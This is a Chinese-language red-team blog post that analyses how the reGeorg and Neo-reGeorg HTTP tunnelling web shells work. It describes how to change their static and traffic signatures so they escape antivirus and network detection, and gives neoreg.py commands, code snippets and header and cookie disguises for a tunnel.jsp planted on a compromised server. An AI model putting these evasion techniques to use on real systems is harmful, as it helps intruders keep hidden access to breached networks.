reGeorg http代理隧道原理和特征修改
前言:http代理隧道静态和动态特征修改
这两个月的hw的时候很多情况下都不出网,并且由于hw期间时间又紧张,拿到权限后只想赶紧刷分数,奈何上了http隧道又被杀,索性现在有时间看看是否能修改点部分特征来实现免杀的效果
-
修改部分静态特征和动态特征
-
学习http代理隧道的实现原理
关于socket的option中的选项SO_REUSEPORT和SO_REUSEADDR可以参考文章:https://blog.csdn.net/liuxiao723846/article/details/125334390
reGeorg-master运行原理
验证代理
def askGeorg(connectString):
...
conn = httpScheme(host=httpHost, port=httpPort)
response = conn.request("GET", httpPath)
if response.status == 200:
if BASICCHECKSTRING == response.data.strip():
log.info(BASICCHECKSTRING)
return True
conn.close()
return False
...
初始化
def __init__(self, pSocket, connectString):
Thread.__init__(self)
self.pSocket = pSocket
self.connectString = connectString
o = urlparse(connectString)
try:
self.httpPort = o.port
except:
if o.scheme == "https":
self.httpPort = 443
else:
self.httpPort = 80
self.httpScheme = o.scheme
self.httpHost = o.netloc.split(":")[0]
self.httpPath = o.path
self.cookie = None
if o.scheme == "http":
self.httpScheme = urllib3.HTTPConnectionPool
else:
self.httpScheme = urllib3.HTTPSConnectionPool
正式通信总流程
def run(self):
try:
if self.handleSocks(self.pSocket):
log.debug("Staring reader")
r = Thread(target=self.reader, args=())
r.start()
log.debug("Staring writer")
w = Thread(target=self.writer, args=())
w.start()
r.join()
w.join()
except SocksCmdNotImplemented, si:
log.error(si.message)
self.pSocket.close()
except SocksProtocolNotImplemented, spi:
log.error(spi.message)
self.pSocket.close()
except Exception, e:
log.error(e.message)
self.closeRemoteSession()
self.pSocket.close()
self.handleSocks函数
socks5的数据格式为,所以正常则读取第一个字节来进行判断为socks类型
+----+----------+----------+
|VER | NMETHODS | METHODS |
+----+----------+----------+
| 1 | 1 | 1 to 255 |
+----+----------+----------+
这里进行代理测试即可进行看到,本地的proxychains和本地启动的脚本之间的通信为socks通信,第一个字节就是代表的socks类型
抓取本地网卡的方法参考文章:https://blog.csdn.net/finghting321/article/details/105510264
- self.parseSocks5函数
- setupRemoteSession函数
上面的工作都做完了之后,就拿到了要通信的ip地址和端口,那么在这里开始就开始与对方目的内网的服务建立通信服务了
如果能拿到cookie那么在self.parseSocks5函数中就会发起SUCCESS的请求包,如下图所示
self.reader
self.writer
Neo-reGeorg
github-L-codes重构reGeorg-master之后的版本Neo-reGeorg,github地址为:https://github.com/L-codes/Neo-reGeorg
现在在用使用Neo-reGeorg进行代理的时候,导致过了一段时间之后代理文件被删除,然后网站被关掉站点,这就让我感觉是Neo-reGeorg代理的流量目标流量设备所检测到所导致的,所以这里就研究下Neo-reGeorg是否存在明显的流量特征和静态特征
静态特征
ClassLoader加载特征
JSP脚本如下图所示,后面的代码不看,这里的话就看开头的,可以看到开头这段代码是从来不混淆的,那么特征就十分的明显,都是继承ClassLoader来调用defineClass来进行字节码的加载
<%@page pageEncoding="UTF-8"%>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
.......................................
我这里的话就可以将其修改为不继承ClassLoader类,其中一个方法就是直接在java代码中找到一个原生继承ClassLoader的类,且没有将defineClass进行权限设置的,比如通过com.sun.jmx.remote.util.OrderClassLoaders
这个类就能实现defineClass调用,可以看到该类没有将defineClass进行权限设置
最终的代码就是如下,将上方的自实现ClassLoader类去掉,然后通过OrderClassLoaders来进行加载即可
测试如下所示,发现一样可以进行代理操作
askGeorg函数返回内容特征
可以看到当第一次建立连接的时候,首先会调用askGeorg方法去访问在目标服务器上的代理文件,这时候会验证数据,虽然是随机生成加密,但是这里的数据格式的特征十分的明显
<!-- xxxxxxxxxxxxxxx -->
所以这里的话也可以被针对性的检测,修改如下所示
修改完HTTP访问代理脚本显示则是如下所示
可以看到同样可以进行代理
脚本自带功能混淆文件内容与状态码
看代码的时候还看到两个功能,那就是该脚本自带混淆文件内容(跟上面修改askGeorg函数返回内容特征实际是一样的)和状态码的功能
在该脚本生成脚本generate功能的时候,默认会将回显Georg says, 'All seems fine'
内容进行替换为自定义的,上面修改askGeorg函数返回内容特征实际上就是跟这个一样
这里找个任意的html文件,然后进行脚本生成,同时进行设置默认请求状态码
python neoreg.py generate -k zpchcbd -f google.html -c 404
重新进行访问脚本文件如下图所示,可以看到默认返回html文件,并且返回的状态码为404
这里需要注意下当默认状态码404的时候用脚本连接需要加上--skip参数,askGeorg不通过进行内容验证
默认的脚本virus杀毒显示如下
修改过后的脚本virus杀毒显示如下
流量特征
我先是看了下相关脚本实现的forward部分,这一部分的话就是正常的数据转发功能,按道理是不会触发相关的流量告警,除非是恶意的攻击payload攻击才会导致,所以自己没有在这方面上看
然后再来看下连接服务端的时候Neo-reGeorg是如何实现的?这里发现脚本提供了代理proxy的方法,那么就很适合我们通过burp来进行抓包观察
这里拿jsp来进行举例,因为目前常见的环境都是java环境,这里抓一个正常的流量包来进行观察
python neoreg.py -u http://192.168.4.11:8080/tunnel.jsp -k zpchcbd -x 127.0.0.1:8080
流量分析
neo-regerog的setupRemoteSession操作都是通过get来进行操作
neo-regerog的write写操作都是通过post来进行操作
neo-regerog的read读操作都是通过get来进行请求
整体下来header头的变换如下
由于Neo-reGeorg被广大的安全人员所使用,个人认为最大的流量特征其实就是出自于header头中一个或者多个随机头的出现,其他的部分的话感觉是为啥问题的
我自己的想法就是将其转化为一个正常的流量业务通信,我让其中的"X-CMD"和"X-TARGET"字段作为依次作为user-id
,custom-id
等常用的字段头来进行通信,而不采取随机化进行处理
同时cookie中添加类似jwt的数据来进行混淆,让其成为一个正常的用户数据包来进行通信,自定义cookie和header的设置脚本自己已经提供了
python neoreg.py -u http://192.168.4.11:8080/tunnel.jsp -k zpchcbd -H "Authorization:cm9vdDppcyB0d2VsdmU=" --cookie "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdWIiOiJ7XCJpZFwiOjIxMDEsXCJhY2NvdW50XCI6XCJ6cGNoY2JkXCIsXCJlbWFpbFwiOlwiMTM1MjQ4MzMxNUBxcS5jb21cIixcInJlZ19tb2JpbGVcIjpcIjE5ODE3MzUzNDI2XCIsXCJzYW5kYm94X2FjY291bnRcIjp0cnVlfSIsImlzcyI6ImpvYW5mZW4iLCJpYXQiOjE2NTA3ODEzNTEsIm5iZiI6MTY1MDc4MTM1MSwiZXhwIjoxNjUxMzg2MTUxfQ.M5nbI54wzCJFJPF9tXC20yY3KduTtYt0ZfJJFH3Vglo" -x 127.0.0.1:8080
最终的Burp中观察的通信数据包为如下图所示
更高级的混淆方式
可以参考该用户提出来基于哥斯拉的基于KTLV格式自定义反序列化和序列化方法,可以抹除header头带来的特征